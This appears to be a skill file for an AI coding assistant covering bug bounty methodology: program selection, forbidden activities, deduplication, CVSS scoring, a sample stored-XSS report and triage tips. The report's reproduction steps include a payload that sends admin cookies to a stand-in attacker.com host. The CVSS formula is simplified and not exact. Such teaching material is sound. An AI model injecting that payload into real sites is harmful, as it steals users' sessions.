pentest-bugbounty

name	pentest-bugbounty
description	Bug bounty methodology — HackerOne/Bugcrowd/Intigriti, deduplication, report writing, severity scoring, payout maximization advisory. Triggers on bug bounty, HackerOne, Bugcrowd, Intigriti, H1, BB, dedup, severity, CVSS scoring, bug report writing, triage.
license	MIT
compatibility	Works with Claude Code
allowed-tools	Read Write Edit Bash Grep
metadata	{"author":"badi","homepage":"https://github.com/fatihkan/badi-skills/tree/main/skills/pentest-bugbounty","badi-version":">=1.24.0","category":"pentest","scope":"advisory","inspired-by":"0xSteph/pentest-ai-agents bug-bounty"}

pentest-bugbounty

Bug bounty hunting discipline — authorized programs only, ROE fidelity, dedupe, quality reports.

Triggers

• "let's write an H1 report"
• "Bugcrowd submission"
• "calculate the CVSS score"
• "how do I dedup"
• "bounty report template"

Program Selection Criteria

Factor	Impact
Scope breadth (*.target.com vs app only)	Attack surface
Bounty range (min-max)	ROI
Response SLA (in days)	Patience
Disclosure policy (public/private)	Portfolio growth
Safe Harbor (legal protection)	Risk
Is a researcher rating required (private prog)	Eligibility

Recommended starting point: VDP (vulnerability disclosure program) -> public bounty -> private invitation.

What NOT to Do (Program Violation)

• Testing out-of-scope assets (always a ban + legal risk)
• Production data exfil beyond the proof threshold
• Automated scan without vendor approval
• DoS / load test
• Social engineering against employees (usually forbidden)
• Brute force (usually forbidden)
• Public disclosure before client approval

Dedup Strategy

Before submission:

# H1 hacktivity
curl 'https://hackerone.com/<program>/hacktivity' | jq '.results[] | select(.title | contains("<finding-keyword>"))'

# Bugcrowd public submissions
# Search on the program page

If it's the same vulnerability type + same endpoint -> duplicate risk, try another program.

CVSS 3.1 Quick Calculation

Base = Impact + Exploitability

Impact (CIA):
  C/I/A: None=0, Low=0.22, High=0.56

Exploitability:
  AV: Network=0.85, Adjacent=0.62, Local=0.55, Physical=0.2
  AC: Low=0.77, High=0.44
  PR: None=0.85, Low=0.62, High=0.27
  UI: None=0.85, Required=0.62

Web exploit example:

• SQLi (authenticated, network, low complexity, low priv, no UI, high CIA)
  • AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 (HIGH)

Report Template (shared H1 / Bugcrowd)

## Title
[CRITICAL] Stored XSS in admin panel allows session hijack of all admins

## Severity
CVSS 3.1: 9.0 (CRITICAL)
Vector: AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

## Summary
Authenticated low-priv user can inject JS into the comment field that
executes in admin browser when viewing dashboard. Session token is
exfiltrated to attacker-controlled domain.

## Steps to Reproduce
1. Login as low-privilege user ([e-mail] / Test123!)
2. Navigate to /comments
3. Submit comment body: `<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">`
4. As admin, navigate to /admin/comments
5. Observe outbound request to attacker.com containing admin session cookie

## Impact
- Full admin compromise (session hijack)
- Persistent payload (stored DB)
- 1-click via existing admin workflow (no extra interaction)

## Proof of Concept
[screenshot1.png] — comment submission
[screenshot2.png] — admin browser request
[burp-export.har] — full HAR file

## Suggested Fix
- Server-side sanitize comment body (DOMPurify on save, not on render)
- CSP: `default-src 'self'; img-src 'self' data:`
- Cookie: `HttpOnly` + `Secure` + `SameSite=Strict`

## Additional Context
- Affected version: 4.2.1 (production as of 2026-05-15)
- Tested on: Chrome 119, Firefox 120
- No public PoC, no CVE assigned

Triage Counter-Preparation

After reporting to the program, what a triager may push back with:

Question	Be Prepared
"We can't reproduce it"	Attach a video recording, specify browser/OS
"There's no user input limit anyway"	Demonstrate real impact (admin session)
"This is a duplicate, report N submitted it"	The different endpoint you claim / the dedup link
"We'll count it as Self-XSS"	Prove the multi-user impact

Bounty Maximization

• Chain bug: Low + Low + Med -> Critical chain (premium payout)
• Out-of-band: DNS, email, time-based POC (hard to reproduce -> quality points)
• Detection bypass: WAF / CSP bypass proof
• Multi-domain impact: If multiple assets are affected, add it explicitly

Out-of-Scope

• Automated dedup tool composer (the decision stays human)
• Social engineering against employees
• Using forbidden techniques (DoS, brute force)